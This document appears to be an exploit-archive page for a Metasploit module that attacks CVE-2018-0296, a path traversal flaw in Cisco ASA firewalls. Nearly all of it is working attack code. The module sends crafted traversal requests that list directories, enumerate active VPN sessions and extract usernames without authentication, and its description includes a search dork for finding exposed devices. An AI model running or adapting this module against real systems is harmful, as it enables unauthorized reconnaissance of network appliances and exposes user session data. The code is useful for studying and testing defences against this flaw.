This Metasploit module exploits a security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques.
c246cc914671c2270e2048bf01fba028require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Cisco Adaptive Security Appliance - Path Traversal",
'Description' => %q{
Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296)
A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques.
Google Dork:inurl:+CSCOE+/logon.html
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yassine Aboukir', #Initial discovery
'Angelo Ruwantha @h3llwings' #msf module
],
'References' =>
[
['EDB', '44956'],
['URL', 'https://www.exploit-db.com/exploits/44956/']
],
'Arch' => ARCH_CMD,
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Platform' => ['unix','linux'],
'Targets' =>
[
['3000 Series Industrial Security Appliance (ISA)
ASA 1000V Cloud Firewall
ASA 5500 Series Adaptive Security Appliances
ASA 5500-X Series Next-Generation Firewalls
ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
Adaptive Security Virtual Appliance (ASAv)
Firepower 2100 Series Security Appliance
Firepower 4100 Series Security Appliance
Firepower 9300 ASA Security Module
FTD Virtual (FTDv)', {}]
],
'Privileged' => false,
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'Ex: https://vpn.example.com', '/']),
OptString.new('SSL', [true, 'set it as true', 'true']),
OptString.new('RPORT', [true, '443', '443']),
], self.class)
end
def run
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'),
})
if res && res.code == 200 && res.body.include?("{'name'")
print_good("#{peer} is Vulnerable")
print_status("Directory Index ")
print_good(res.body)
res_dir = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'),
})
res_users = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'),
})
userIDs=res_users.body.scan(/[0-9]\w+/).flatten
print_status("CSCEO Directory ")
print_good(res_dir.body)
print_status("Active Session(s) ")
print_status(res_users.body)
x=0
begin
print_status("Getting User(s)")
while (x<=userIDs.length)
users = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'+userIDs[x]),
})
grab_username=users.body.scan(/user:\w+/)
nonstr=grab_username
if (!nonstr.nil? && nonstr!="")
print_good("#{nonstr}")
end
x=x+1
end
rescue
print_status("Complete")
end
else
print_error("safe")
return Exploit::CheckCode::Safe
end
end
end